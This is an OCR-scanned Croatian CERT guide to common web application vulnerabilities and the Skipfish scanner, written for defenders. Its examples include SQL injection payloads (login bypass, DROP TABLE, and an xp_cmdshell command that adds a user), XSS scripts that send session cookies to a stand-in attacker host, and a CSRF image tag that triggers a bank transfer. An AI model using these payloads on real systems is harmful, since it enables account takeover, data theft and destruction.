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Sigurnosni problemi u racunalnim programima i operativnim sustavima
podrucje je na kojem Nacionalni CERT kontinuirano radi.

Rezultat toga rada je i ovaj dokument, koji je nastao suradnjom Nacionalnog
CERT-a i LS&S-a, a za koji se nadamo se da ¢e Vam koristiti u poboljSanju
sigurnosti Vaseg sustava.

Nacionalni CERT, www.certhr

Nacionalno srediste za sigurnost racunalnih mreza i sustava.

LS&S www.LSS.hr

Laboratorij za sustave i signale pri Zavodu za elektronicke sustave i obradbu
informacija Fakulteta elektrotehnike i raCunarstva Sveucilista u Zagrebu.

Ovaj dokument je vlasnistvo Nacionalnog CERT-a. Namijenjen je za javnu objavu, njime se moze svatko
koristiti, na njega se pozivati, ali samo u izvornom obliku, bez ikakvih izmjena, uz obavezno navodenje izvora
podataka. KoriStenje ovog dokumenta protivno gornjim navodima, povreda je autorskih prava CARNet-a,
sukladno Zakonu o autorskim pravima. Pocinitelj takve aktivnosti podlijeZze kaznenoj odgovornosti koja je
regulirana Kaznenim zakonom RH.
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1. Uvod

Internet je jedan od vodec¢ih medija danasnjice, a u buduénosti ¢e vjerojatno postati i glavho mjesto za
razmjenu informacija. Obi¢nom laiku, WWW (engl. World Wide Web) je sinonim za Internet. No, WWW je samo
dio Interneta, a ¢ini ga skup svih web stranica odnosno web aplikacija objavljenih na Internetu. Navedene
aplikacije, ukoliko nisu kvalitetno izradene, mogu biti podlozne razli¢itim sigurnosnim rizicima, tj. sadrzavati
sigurnosne propuste.

Sigurnost web aplikacija zasniva se na sljedecih Sest elemenata:
e Autentifikacija - utvrdivanje i potvrda identiteta korisnika web aplikacija i usluga.

e Autorizacija - predstavlja kontrolu pristupa informacijama i uslugama odnosno stupanj ovlasti
svakog pojedinog korisnika aplikacije.

¢ Neporecivost — osigurava da korisnici ne mogu poreci aktivnost u kojoj su sudjelovali, a ostvaruje se
pracenjem aktivnosti korisnika putem zapisa dnevnika (engl. auditing and logging). |zuzetno vazno u
sustavima elektronickog poslovanja kako korisnik, primjerice, ne bi mogao poreci da je narucio 100
primjeraka odredene knjige.

e Tajnost i povjerljivost — zastita komunikacije ili pohranjene informacije od neovlastenog
presretanja i stavljanja na uvid neovlastenim korisnicima. Cesto se osigurava koristenjem enkripcije.

¢ Integritet i cjelovitost - garancija da je odaslana, primljena ili pohranjena informacija zasti¢ena od
slu¢ajnih ili namjernih promjena. Osigurava se hash tehnikama ili koristenjem autentikacijskih
kodova poruka.

e Dostupnost — aplikacija i njene usluge moraju biti raspoloZive legitimnim korisnicima usprkos
mogudim neocekivanim i nepredvidivim dogadajima.

Ukoliko je neki od ovih elemenata kompromitiran, narudena je sigurnost aplikacije.

Samim napretkom metoda izrade web aplikacija, odnosno pojavom dinamickih web stranica i odgovarajucih
tehnologija (baze podataka, posluziteljske ili klijentske skripte koje generiraju HTML i sl.) koje su zamijenile
staticke web stranice temeljene na jednostavnom HTML-u (engl. Hypertext Markup Language), viSestruko su
se povecale i moguénosti sigurnosnih napada na web aplikacije. Dinami¢ke web stranice zasnivaju se na
interakciji s korisnicima putem web formi. Ukoliko polja za unos vrijednosti u pojedinim web formama ne
sadrze adekvatne sigurnosne provjere, mogu se iskoristiti za razli¢ite vrste napada koji uklju¢uju dohvacanje
vaznih podataka iz baza podataka, izvrsavanje zlocudnih skripti na klijentskom dijelu aplikacije, izmjenu
izgleda web stranice te izvrSavanje naredbi operacijskog sustava (odnosno ljuske operacijskog sustava) na
posluziteljskom racunalu.

Najucestaliji i najstetniji oblici napada na web aplikacije predmet su razmatranja u drugom poglavlju ovog
dokumenta. To poglavlje zapravo predstavlja uvod u sredisnju temu dokumenta, a to je alat Skipfish. To je
jedan u nizu alata koji omogucava skeniranje web aplikacija u potrazi za sigurnosnim propustima. Njegovim
koriStenjem programeri i dizajneri web aplikacija mogu na vrijeme otkriti sigurnosne ranjivosti vlastite
aplikacije. Karakteristike, mane i nacin koristenja tog alata te usporedbu s konkurentskim alatima donosi
trece poglavlje dokumenta.
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2. Ranjivosti web aplikacija

Web aplikacije mogu biti izlozene razli¢itim vrstama napada. Na stranici konzorcija o sigurnosti web aplikacija
(engl. Web Application Security Consortium, WASC) evidentirano je 49 razli¢itih vrsta napada. Spomenuta
stranica dostupna je na sljedecoj poveznici:

http://projects.webappsec.org/Threat-Classification

S obzirom na njihovu brojnost i raznolikost, njihova detaljna razrada zahtijevala bi zaseban dokument [3],[4].
Iz navedenog razloga u ovom poglavlju obraduju se samo najucestaliji tipovi napada koji su ujedno u
dokumentaciji alata Skipfish oznaceni kao ranjivosti visokog stupnja rizika. Preciznije, definirani su sljededi
napadi:

e napad koristenjem znakova za formatiranje ispisa (eng. Format String),
e cjelobrojno prepisivanje (eng. Integer Overflow),

e umetanje XML zapisa (eng. XML Injection),

e umetanje SQL koda (eng. SQL Injection),

e XSS napad (eng. Cross-Site Scripting) i

e CSRF napad (eng. Cross-Site Request Forgery, ).

2.1. Napad koristenjem znakova za formatiranje ispisa

Ovaj tip napada vezan je uz lose napisan programski kod funkcija za ispis vrijednosti. Naj¢esce se radi o
funkcijama jezika C ili C++, primjerice fprintf(), printf(), sprintf(), setproctitle() te syslog(). Te funkcije mogu
se iskoristiti za ovakav tip napada ukoliko su nepravilno napisane te kao argument koriste varijable koje
sadrze podatke unesene od strane korisnika web aplikacije. Moguce posljedice napada ukljucuju
izvrSavanje proizvoljnog programskog koda na posluzitelju, pregled vrijednosti na memorijskom stogu,
uzrokovanje segmentacijskih gresaka i rusenje aplikacije. Primjer ranjivog koda je sljededi:

printf(emailAddress)

Zlonamijerni korisnik ovakav kod moze iskoristiti tako da u formu, ¢ija se vrijednost upisuje u varijablu
emailAddress, unese znakove za formatiranje ispisa (%s, %x, %n). Ukoliko se ovakvi znakovi nadu
samostalno u printf funkciji, obraduju se te prevoditel;j ili interpreter poduzima odgovarajuce radnje. U
slu¢aju unosa znaka ,%x", dolazi do ¢itanja podataka sa stoga. Procitane podatke zlonamjerni korisnik
moze vidjeti ukoliko se rezultat rada funkcije prikazuje putem web aplikacije. Unosom znaka ,%s"
napadac moze citati nizove znakova s proizvoljnih memorijskih lokacija. KoriStenjem znaka ,%n" moze se
zapisati cjelobrojna vrijednost na bilo koju memorijsku lokaciju. Na taj nac¢in moguce je izmijeniti bitne
programske zastavice koje upravljaju pristupnim pravima ili pak izmijeniti povratne adrese na stogu.

Ispravan kod te funkcije, koji ne bi bio ranjiv na ovaj tip napada, trebao bi izgledati ovako:

printf(“%s*, emailAddress)

Kad bi u ovakav kod napadac probao unijeti varijablu emailAddress s nekim od znakova za formatiranje
ispisa, navedeni zapis jednostavno bi se korisniku ispisao, odnosno ne bi se obradio u funkciji printf.

2.2. Cjelobrojno prepisivanje

Cjelobrojno prepisivanje se dogada kada rezultat provedene aritmeticke operacije, primjerice mnozenja
ili zbrajanja, premasuje kapacitet cjelobrojnog tipa varijable u koju se pohranjuje. U takvoj situaciji,
varijabla se popunjuje do svog maksimuma, a ostatak vrijednosti rezultata se zapisuje pocevsi od
minimalne vrijednosti koja se moze pohraniti u navedenu varijablu.

Primjerice, u 8-bitni cjelobrojni zapis se moze pohraniti maksimalna vrijednost ,127” te minimalna ,-128".
Ukoliko u takvu varijablu pokusamo zapisati vrijednost , 129", prvo e se zapisati maksimalna dopustena
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vrijednost, tj. ,127 a visak, Sto je u ovom slu¢aju vrijednost ,2“, e se pribrojiti minimalnoj mogucoj
vrijednosti. Na taj nacin, u varijablu ¢e se umjesto vrijednosti ,129" pohraniti vrijednost ,-127". Znadi,

#127 + 1"

nije, u ovom slucaju, 128, ve¢ je jednaka ,-128" pa je ,127 + 2 = - 127". Ovakva ranjivost moze

se iskoristiti i u ,suprotnom” smjeru, odnosno za zapis vrijednosti koja je manja od minimalne dopustene
vrijednosti koju varijabla moze sadrzavati. U prethodnom primjeru, to bi bila vrijednost -129 koja bi se u
varijablu pohranila kao maksimalna vrijednost dopustenog kapaciteta varijable odnosno 127.

Ovaj tip napada moze se pojaviti u sljedecim situacijama:

Cjelobrojno prepisivanje pri izra¢unu veli¢ine meduspremnika (veli¢ine potrebne alokacije
memorije), Sto rezultira velicinom meduspremnika podataka koja je manja od veli¢ine
podatka koji ¢e se zapisati u njega. Na taj nacin ¢e ova pogreska, prilikom zapisa podatka u
meduspremnik, uzrokovati drugi tip napada, odnosno prekoracenje kapaciteta
meduspremnika.

U elektronickom poslovanju prilikom izracuna ukupne sume koju pojedini kupac mora platiti,
prekoracenje kapaciteta cjelobrojnog zapisa moze rezultirati time da kupcev racun umjesto
velike pozitivne vrijednosti, sadrzi veliku negativnu vrijednost. Na taj nacin bi kupac po
zavrsetku transakcije dobio kupljene predmete i povecao stanje svog bankovnog racuna za
iznos kupljene robe.

Uzimanje 1 kune s ra¢una na kojem je stanje jednako 0, a ne podrzava negativne vrijednosti,
moze rezultirati novim stanjem rac¢una u iznosu od 4 294 967 295 kuna.

2.3. Umetanje XML zapisa

Umetanje XML (engl. Extended Markup Language) zapisa je oblik napada koji se koristi za
kompromitiranje logike XML aplikacije ili usluge. Svodi se na unos neocekivanog XML koda u XML

strukturu
napadom

odnosno XML dokument te na taj nacin izmjenu unutarnje logike aplikacije. Takoder, ovim
se moze unijeti zZlonamjerni sadrzaj u dokument ili poruku koju prikazuje ciljana web aplikacija.

Primjerice, neka web aplikacija moze sadrzavati sljede¢i XML zapis:

<?xml

version="1.0" encoding="1S0-8859-1"7>

<users>

<user>

<uname>joepublic</uname>
<pwd>r3g</pwd>

<uid>O<uid/>

<mai l>joepublic@examplel.com</mail>
</user>

<user>

<uname>janedoe</uname>
<pwd>an0On</pwd>

<uid>500<uid/>

<mai I>janedoe@example2.com</mail>
</user>

</users>

Ukoliko se napadac¢ prijavi kao novi korisnik web aplikacije moze unijeti sljedece korisnicke podatke:

Username: alice

Password: iluvbob

E-mail:
alice@example3.com</mail></user><user><uname>Hacker</uname><pwd>
133tist</pwd><uid>0</uid><mai l>hacker@exmaple_evil _net</mail>
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Prethodni XML dokument poprimiti ce sljededi oblik:

<?xml version="1.0" encoding="1S0-8859-1"7?>
<users>

<user>

<uname>joepublic</uname>
<pwd>r3g</pwd>

<uid>0</uid>

<mai l>joepublic@example.com</mail>
</user>

<user>

<uname>janedoe</uname>
<pwd>anOn</pwd>

<uid>500</uid>

<mai l>janedoe@example2.hmm</mail>
</user>

<user>

<uname>al ice</uname>

<pwd>1i luvbob</pwd>

<uid>500</uid>

<mai l>alice@exmaple3.com</mail>
</user>
<user><uname>Hacker</uname><pwd>133tist</pwd><uid>0</uid>
<mai l>hacker@exmaple_evil .net</mail>
</user>

</users>

Vidimo da je unesen novi korisnik (Hacker) s uid vrijednos¢u jednakom 0. U vedini slu¢ajeva kod XML
aplikacija, druga uid instanca ce pregaziti vrijednost prve, tj. zapisati se na njeno mjesto. U konacnici, ovaj
napad rezultira unosom novog korisnika Hacker kojeg sustav registrira pod uid vrijednos¢u 0 koja se
Cesto koristi kao uid vrijednost administratora sustava.

2.4. Umetanje SQL koda

Vecina dinamickih web stranica sastoji se od odgovaraju¢eg korisnickog sucelja koje korisniku
omogucuje interakciju sa samom aplikacijom te pristup podacima koji su pohranjeni u bazi podataka
kojoj aplikacija pristupa. Na temelju korisni¢ckog unosa, aplikacija generira odgovaraju¢e SQL (engl.
Structured Query Language) upite te klijentu ispisuje rezultat ovisno o izvrSenom upitu. Komunikacija
izmedu klijenta i posluzitelja naj¢esce se odvija putem razlicitih web formi koje korisniku omogucuju
interakciju s aplikacijom. Ovakav pristup osim svoje jednostavnosti predstavlja i potencijalni sigurnosni
propust, bududi da korisnik preko podataka koje unosi u formu posjeduje odredenu razinu kontrole nad
SQL upitom koji se 3alje bazi podataka. Taj postupak naziva se umetanje SQL naredbi i to je ujedno
najcesci tip napada na web aplikacije.

Napad umetanjem SQL zapisa moze se iskoristiti za razlicite ciljeve. Primjerice, napada¢ se moze prijaviti
na web aplikaciju bez potrebe za unosom korisnickog imena i lozinke. Ukoliko je kod za provjeru
identiteta korisnika sljedeceg oblika:

SQLQuery = “select username, password from table users where username
"+ str_username + “" and password = “” + str_password + “ " ;

Napadac¢ moze unijeti u pristupnu formu za korisnic¢ko ime sljedeci zapis:

"or 1=1 --
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Takav unos rezultirati ¢e izvodenjem sljedec¢eg SQL upita:

select username, password from table users where username = or 1=1 —
" and password =

Ovaj SQL upit ¢e vratiti sve postojece zapise iz tablice table_users jer trazi sve zapise koji odgovaraju
logi¢ckom uvjetu 1=1, $to je uvijek istina. Oznaka ,--" u SQL upitu oznacava pocetak komentara pa se dio
upita koji provjerava zaporku uopce ne izvrSava. Kada se ovaj upit izvrsi napadac ce se uspjesno prijaviti
kao prvi korisnik zapisan u bazi podataka.

U drugom scenariju napadac u pristupnu formu moZze unijeti sljedece podatke:

Username: foo
Password: "; DROP TABLE table_ users--

To ¢e uzrokovati izvriavanje sljede¢eg SQL koda:

select username, password from table_users where username = “foo” and
password = “”; DROP TABLE table users---

Na ovaj nacin ce se izvrsiti dva upita, prvi koji ¢e najvjerojatnije rezultirati neuspjeSnom prijavom
korisnika na sustav te drugi koji predstavlja sigurnosnu prijetnju, tj. brise tablicu table_users iz baze
podataka $to zapravo znaci brisanje svih zapisa o postojec¢im korisnicima aplikacije.

Umetanje SQL zapisa se moze iskoristiti i za izvrSavanje naredbi unutar ljuske operacijskog sustava
posluziteljskog racunala na kojem se nalazi baza podataka. Ukoliko se na posluZitelju koji koristi,
primjerice, MSSQL bazu podataka izvrsava sljedeci PHP kod:

<?php

$query = "SELECT * FROM products WHERE id LIKE "%$prod%®';

$result = mssql_query($query);

?>

Napadac moze putem forme u varijablu $prod unijeti sljedeci kod:

a%" exec master..xp_cmdshell "net user test testpass /ADD" --

To Ce rezultirati izvrSavanjem sljedeéeg upita:

<?php
$query = "SELECT * FROM products WHERE id LIKE "%a%"
exec master..xp_cmdshell "net user test testpass /ADD"--"";
$result = mssql_query($query);
?>

U konacnici ¢e ovakav napad rezultirati time da ¢e se prikazani kod izvrsiti u ljusci MSSQL posluzitelja i
napadacu kreirati korisni¢ki ra¢un putem kojeg dobiva potpun pristup aplikaciji i samom posluzitelju.
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2.5. XSS napad

XSS (eng. Cross Site Scripting) napad se zapravo svodi na izvrSavanje zlonamjernog skriptnog koda
unutar klijentskog dijela web aplikacije, a to je najce3ce korisnikov preglednik. Skriptni kod najcesce je
pisan u JavaScriptu, no moze biti napisan i u jezicima VBScript, ActiveX, Java ili Flash. Postoje tri tipa XSS
napada:

e  trajni XSS napad (engl. persistent),
e jednokratni XSS napad (engl. non-persistent) i
e DOM (eng. Document Object Model) temeljen napad (engl. DOM-based).

Trajni XSS napad specifican je po tome sto zlonamjerni skriptni kod ostaje trajno pohranjen na strani
web posluzitelja te ga posluzitelj moze konstantno umetati u web stranice koje se korisniku 3alju kao
rezultat njegovog HTTP zahtjeva. Ovaj propust javlja se u situaciji kada se zaprimljeni ulazni korisnic¢ki
podaci permanentno pohranjuju na strani posluZitelja (npr. u bazu podataka ili unutar datote¢nog
sustava) te kasnije prikazuju ostalim korisnicima na web stranici bez prethodnog parsiranja HTML koda.
Najbolji primjer predstavljaju web stranice poput foruma ili oglasnih plo¢a, koje korisnicima
omogucavaju slanje poruka u HTML formatu. Posto maliciozni korisnik na ovaj nacin moze ostvariti
visestruke napade na velik broj korisnika nakon samo jedne akcije, trajni XSS napad smatra se
najopasnijim tipom XSS napada.

Primjer zlonamjernog skriptnog koda koji korisniku moze ukrasti sjednicki kolaci¢, putem kojeg je
autoriziran na web aplikaciji, i tako kompromitirati njegov korisnicki racun je sljededi:

<script>

document.location= "http://attackerhost.example/cgi-
bin/cookiesteal .cgi?"+document.cookie

</script>

U navedenom primjeru zlonamjernog koda, stranica koju korisnik pregledava i njegov sjednicki kolaci¢
se preusmjeravaju na napadacevu poveznicu ,http://attackerhost.example/cgi-bin/cookiesteal.cgi?”.

U slu¢aju jednokratnog XSS napada zlonamjerni skriptni kod nije trajno pohranjen na strani web
posluzitelja nego se umece u web stranicu koja predstavlja odgovor web posluzitelja na korisnikov HTTP
zahtjev. Do problema dolazi kada posluziteljske skripte izravno koriste ulazne korisnicke podatke
zaprimljene od web klijenta u svrhu generiranja nove web stranice koja se isporucuje korisniku. Ako se
neprovjereni ulazni korisni¢ki podaci uklju¢uju u rezultiraju¢u web stranicu bez prethodnog HTML
kodiranja, potencijalnom napadacu se omogucéava umetanje proizvoljnog skriptnog koda u HTML
sadrzaj generirane dinamicke web stranice. Na prvi pogled, ovaj nedostatak ne doima se narocito
opasnim, s obzirom na to da korisnici mogu unijeti skriptni kod samo u web stranice kojima imaju
dozvoljen pristup. No, napada¢ moze navesti korisnika da aktivira zlionamjernu poveznicu koja ¢e potom
unijeti skriptni kod u rezultiraju¢u dinami¢ku web stranicu te tako napadacu omoguciti potpuni pristup
zrtvinom korisnickom racunu kradom njegovog sjedni¢kog kolaci¢a (engl. cookie). Opisani sigurnosni
nedostatak najcesci je od svih tipova XSS nedostataka.

Primjer poveznice koja se moze iskoristiti za ovakav tip napada je sljededi:

http://portal .example/index.php?sessionid=12312312&
username=<script>document. location="http://attackerhost.example/cgi-
bin/cookiesteal .cgi?"+document.cookie</script>

Prethodni kod prikazuje situaciju XSS napada pri kojoj se, u poveznici koju posjecuje korisnik, u putanji
na mjestu njegovog korisnickog imena nalazi zlonamjerni JavaScript kod koji korisnikov sjednicki kolaci¢
preusmjerava na napadacevu adresu.
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Najces¢e su poveznice kodirane kako korisnik ne bi uocio skriptni kod pa gore navedena poveznica
moze izgledati i ovako:

http://portal .example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
%BBEN7 4%2E%6CUEF%63%61%7 4%69%6FHEE%3ID%27%68%74%7 4%70
%3AN2F%2F%61%74%74%6 1%63%6B%65%7 2%68%6F%7 3%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%7 3%74%65%6 1%6CU2EN63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%7 4%2E%6 3%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E

Za razliku od ostalih tipova XSS napada, u DOM temeljenom napadu zlonamjerni skriptni kod nije
prethodno ugnijezden u neku dinamicki generiranu izlaznu web stranicu na strani web posluZitelja.
Zapravo je vezan za nacin na koji korisnikov preglednik interpretira ranjivu web stranicu u svom
izvornom obliku u kombinaciji sa zlonamjernim ulaznim podacima. Kada se JavaScript kod, koji je
ugnijezden unutar HTML sadrzaja web stranice, izvrSava unutar preglednika, preglednik automatski
kreira nekoliko objekata koji predstavljaju DOM model. Objekt document, korijenski element u
navedenom modelu, omogucava pristup vecini postavki doti¢ne web stranice. Bitno je napomenuti kako
su vrijednosti pridruzene tim postavkama oblikovane sa stanovista preglednika, a ne na temelju
dobivenog HTML sadrzaja. Neki od podobjekata koje objekt document sadrzi, a koji su vezani za DOM
temeljeni XSS napad, su location, URL i referrer. Njihove vrijednosti nisu izdvojene iz HTML sadrzaja
dobivene web stranice, nego su popunjene drugim podacima dostupnima pregledniku. Ako dio
JavaScript koda ugnijezdenog u web stranici dohvaca vrijednost, primjerice, parametra document.URL i
koristi ju za generiranje novog HTML sadrZaja koji se upisuje u istu web stranicu, postoji mogucnost
pojave DOM temeljenog XSS napada. Naime, ako spomenuta dohvacena vrijednost document.URL
parametra sadrzi zlonamjerni JavaScript kod, a ne kodira se koristenjem odgovaraju¢ih HTML entiteta
prije ispisa na stranicu, taj upravo generirani HTML sadrzaj biti ¢e reinterpretiran od strane preglednika
kao skriptni kod, a ne kao obic¢an tekst pa ¢e se umetnuti zlonamjerni JavaScript kod zaista i izvrSiti.
Zloupotreba opisanog sigurnosnog propusta zapravo je vrlo sli¢na zloupotrebi putem jednokratnog XSS
napada, no kontekst u kojem se napad provodi znatno je drugaciji. Naime, skriptnim kodom koji se
izvrSava na strani klijenta, web preglednici upravljaju pomocu objekata koji se nalaze u tzv. lokalnoj zoni,
primjerice na korisnikovom ¢vrstom disku. Stoga se umetnuti zlonamjerni skriptni kod moze izvoditi na
korisnikovom sustavu i to s ovlastima korisnikovog web preglednika. Time se zaobilazi cjelokupna
sigurnosna okolina na strani klijenta, a ne samo domenske restrikcije web posluzitelja $to je uobicajeno
za ostale tipove XSS napada.

Programski kod web aplikacije pogodan za ovakav tip napada izgleda ovako:

<html>

<title>Welcomel</title>

Hi

<script>

var pos=document.URL. indexOf("'name="")+5;
document.write(document.URL.substring(pos,document.URL.length));
</script>

Welcome to our system

~</html>

U primjeru se putem JavaScript koda dio URL-a web stranice uklju¢uje u prikaz same stranice korisniku. U
uobic¢ajenom nacinu rada, URL web stranice mogao bi izgledati ovako:

http://www.vulnerable.site/welcome.html?name=Joe

No, ukoliko ga napadac iskoristi za taj tip XSS napada, URL na koji korisnik klikne mozZe izgledati ovako:

http://www_vulnerable._site/welcome.html?name=<script>alert
(document.cookie)</script>
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Prikazani primjer zlonamjerne poveznice zapravo ne moze nanijeti nikakvu Stetu korisniku, ali dokazuje
da napada¢ moze izvrsiti proizvoljni skriptni kod na korisnikovom racunalu. Prilikom aktivacije ove
bezopasne poveznice, korisniku se prikazuje prozor s porukom koja sadrzi njegov kolaci¢ vezan uz
posje¢enu web stranicu.

2.6. CSRF napad

CSRF (eng. Cross-Site Request Forgery) je tip napada koji podrazumijeva navodenje Zrtve na slanje HTTP
zahtjeva za ciljanom web aplikacijom bez njihovog znanja ili namjere kako bi napadac izvrsio radnju
koristec¢i Zrtvin identitet. Za razliku od XSS napada, koji se oslanja na povjerenje korisnika u web
aplikaciju, CSRF napad se oslanja na povjerenje web aplikacije ili usluge u identitet korisnika.

CSRF napadi zloupotrebljavaju sljedece situacije:
e kada korisnik (zrtva) ima uspostavljenu aktivnu sjednicu na ciljanoj web aplikaciji,
e kada je zrtvin identitet poznat i provjeren na ciljanoj web aplikaciji putem HTTP auth polja ili
sjedni¢kog kolacica te
o kada je Zrtva u istoj lokalnoj mrezZi kao i web aplikacija koja je ciljano odrediste napada.

Napadom se zapravo pokusava natjerati korisnikov preglednik na slanje neo¢ekivanog HTTP zahtjeva na
ciljanu web aplikaciju i tako ostvariti neugodne nuspojave (npr. neovlasten pristup stranicama koje
provjeravaju identitet korisnika te sadrze za korisnika vazne podatke poput bankovnog racuna, razlic¢itih
oblika placanja, osobnih podataka).

U vedini slucajeva, napad ukljucuje postavljanje poveznice ili skripte na stranicu putem koje se moze
pristupiti web aplikaciji na kojoj je poznat i provjeren identitet korisnika, tj. Zrtve. Moguce je kao primjer
uzeti da korisnik Danijel posjecuje web stranicu u obliku foruma gdje je drugi korisnik, Iva, objavio svoju
poruku. Ivina poruka moze zapravo biti slika odnosno HTML image element koji se referencira na skriptu
na web aplikaciji putem koje Danijel pristupa svom bankovnom ra¢unu. Navedeni HTML image element
moze ovako izgledati:

<img
src=""http://bank.example/withdraw?account=dani jel&amount=1000000&for=iv
ar>

Ukoliko aplikacija, putem koje Danijel pristupa svom bankovnom rac¢unu, ¢uva njegovu identifikacijsku
informaciju u kolaci¢u i navedeni kolaci¢ nije istekao, tada ¢e Danijelov klik misa na sliku koju je Iva
objavila rezultirati odlaskom na web aplikaciju Danijelovog bankovnog racuna. To ¢e izazvati izvrSavanje
transakcije, navedene u src atributu image elementa, s njegovog na lvin racun bez Danijelovog
odobrenja.
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3. Alat Skipfish

Skipfish je automatizirani alat za procjenu i provjeru stanja sigurnosti web aplikacije. Skipfish na temelju
rekurzivnog skeniranja web aplikacije i provodenja testova temeljenih na metodi rjecnika gradi interaktivan
pregled svih ranjivosti web aplikacije koju pregledava. Rekurzivno skeniranje znaci da sve web stranice
unutar web aplikacije alat provjerava na jednak nacin pocevsi od pocetne stranice prolazedi kroz ¢itavu
hijerarhiju postoje¢ih direktorija i datoteka. Testovi temeljeni na metodi rje¢nika su koriste unaprijed
definirani skup rijeci odnosno rjecnik za provjeru odredenih sigurnosnih ranjivosti (npr. napad uzastopnim
pokusavanjem). Interaktivni izvjestaj kao konacan rezultat rada alata predstavlja izlazne podatke iz niza
aktivnih sigurnosnih provjera odnosno postupaka kojima alat provjerava sigurnost web aplikacije. U biti,
smisao izvjestaja kojeg generira Skipfish jest da posluZi kao osnova za procjenu sigurnosti profesionalnih web
aplikacija. Ovo poglavlje donosi detaljan pregled navedenog alata, uklju¢ujuci njegove karakteristike, mane i
probleme, nacin koristenja, usporedbu s konkurentskim alatima te, na kraju, pogled na perspektivu i
budu¢nost samog alata.

3.1. Karakteristike

Postoji ¢itav niz ve¢ dostupnih komercijalnih alata te alata otvorenog koda koji posjeduju sli¢ne
funkcionalnosti kao i Skipfish. Svaki od njih ima svoje posebnosti, pa se korisnicima takvih alata obi¢no
preporuca da koriste onaj koji najvise odgovara njihovim potrebama. Zbog toga se pri izradi Skipfisha
nastojalo rijesiti probleme koji su karakteristi¢ni srodnim alatima za provjeru sigurnosti web aplikacija.
Tako se kao prednosti ovog alata isti¢u:

e visoke performanse koje obuhvacaju vise od 500 odaslanih zahtjeva po sekundi pri skeniranju
web aplikacija kroz javnu infrastrukturu Interneta, vise od 2000 zahtjeva u sekundi pri skeniranju
aplikacija dostupnih u LAN (eng. Local Area Network) ili MAN (eng. Metropolitan Area Network)
mrezi te vise od 7000 zahtjeva u sekundi pri skeniranju aplikacije dostupne na lokalnom
posluzitelju. Izneseni rezultati su dobiveni koriStenjem racunala sa skromnim resursima u
pogledu procesorske snage, dostupne memorije i brzine pristupa Internetu. Ovakvi rezultati su
ostvareni zahvaljujuci:

= multipleksiranju jednodretvenog rada, posve asinkronom radu mreznih ulaznih i
izlaznih jedinica te koristenju modela za obradu podataka koji ne upotrebljava
upravljanje memorijom, odredivanje redoslijeda operacija i slicne neefikasne postupke
prisutne u konkurentskim visedretvenim alatima,

= minimiziranju nepotrebnog mreznog prometa putem pohranjivanja odgovora u
priviemenu memoriju te koriStenja naprednih heuristika ponasanja posluzitelja,

= orijentiranosti na performanse pri izradi alata $to se ogleda u potpunoj implementaciji
u programskom jeziku C ukljucujuci koriStenje zasebnog HTTP stoga,

= koriStenju naprednih mogucnosti protokola HTTP/1.1 poput kompresije sadrzaja i
trajnih konekcija kako bi se limitirao visak prometa na mreznom sloju,

e jednostavnost koristenja koja se manifestira u visokoj prilagodljivosti i pouzdanosti alata. U to su
uklju¢ene i sljedece karakteristike:

= automatska izgradnija liste rijeci temeljene na analizi sadrzaja web aplikacije,

= probabilisticke moguénosti skeniranja kako bi se omogudile periodicke vremenski
ogranicene provjere proizvoljno kompleksnih web aplikacija,

= heuristicko prepoznavanje shema za upravljanje parametrima temeljenih na nejasnim
upitima ili putanjama,

= jzvrsno rukovanje web aplikacijama izradenim putem vise razli¢itih web tehnologija
gdje pojedine putanje koriste posve razli¢itu semantiku ili podlijezu razli¢itim pravilima
filtriranja te

= automatsko popunjavanje formiiautomatske mogucnosti ucenja,

e kvalitetno dizajnirane sigurnosne provjere odnosno dcinjenicu da je smisao alata da pruzi
precizne i smislene rezultate. To se ogleda u sljede¢im karakteristikama:
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= ru¢no izradeni rjecnici pruzaju izvrsnu pokrivenost i omogucuju detaljno
LSklju¢na_rije¢.Sekstenzija” testiranje u razumnom vremenskom intervalu,

=  za otkrivanje ranjivosti se koriste diferencijalni testovi u tri koraka umjesto provjera
potpisa,

= koristi programsku logiku ve¢ uspjesno koristenu u alatu Ratproxy (poluautomatski
pasivni alat za ispitivanje sigurnosti web aplikacija, prethodnik Skipfisha) za pronalazak
razli¢itih sigurnosnih ranjivosti,

= koristi grupirane sigurnosne provjere za otkrivanje opasnijih sigurnosnih prijetnji,

Skipfish skenira odredisnu web aplikaciju u potrazi za ¢itavim nizom mogucih sigurnosnih ranjivosti na
razli¢ite prijetnje i napade. Alat ranjivosti grupira na ranjivosti visokog, srednjeg i niskog stupnja rizika.
Ranjivosti visokog stupnja rizika mogu prouzrokovati ugrozavanje ¢itavog sustava, one srednjeg stupnja
mogu dovesti do ugrozavanja podataka, a u niski stupanj rizi¢nosti se svrstavaju prijetnje ograni¢enog
utjecaja, odnosno one koje ne mogu uzrokovati ozbiljnije posljedice za sigurnost aplikacije. Medu njima
vrijedi istaknuti provjere sljedecih ranjivosti:

Revizija 1.05

napad umetanjem SQL izraza (ukljucujudi slijepe vektore i numericke parametre),
umetanije izraza eksplicitne sintakse sli¢cne SQL-u u GET i POST parametrima,
umetanje naredbi ljuske operacijskog sustava posluzitelja (ukljucujudi slijepe vektore),
napad umetanjem XML/XPath izraza,

napad koristenjem znakova za formatiranje ispisa,

prekoracenje kapaciteta cjelobrojnog zapisa,

lokacije koje prihvac¢aju HTTP PUT metodu,

napad umetanjem aktivnih skripti u tijelu dokumenta ili putem HTTP redirekcije ili putem
razdjeljivanja HTTP zaglavlja,

napad unosom malicioznih skripti i CSS (engl. Cascading Style Sheets) dokumenata ,
vanjske nepovijerljive skripte i CSS dokumenti,
raznoliki problemi sadrzaja u skriptama i CSS dokumentima,

netocni ili nepostoje¢i MIME (eng. Multipurpose Internet Mail Extensions) tipovi na prikazivim
elementima,

netocni ili nepostojeci skup znakova na prikazivim elementima,

loSe odredbe priviemene memorije u odgovorima vezanim uz postavke kolacica,
preusmjeravanje na URL-ove (eng. Uniform Resource Locator) koje je napadac postavio na web
aplikaciju,

sadrzaj ugraden u aplikaciju od strane napadaca,

vanjski nepovijerljivi ugradeni sadrzaj,

istekli ili nevazeci SSL (engl. Secure Sockets Layer) certifikati,

HTML forme bez zastite od CSRF napada,

samopotpisani SSL certifikati,

neuspjesni pokusaji dohvata resursa,

neocekivane varijacije u HTTP odgovorima,

HTTP kolacici koji su podlozni znac¢ajnim promjenama,

poveznice koje ne rade,

posluziteljske pogreske,

resursi koji zahtijevaju HTTP autentifikaciju,
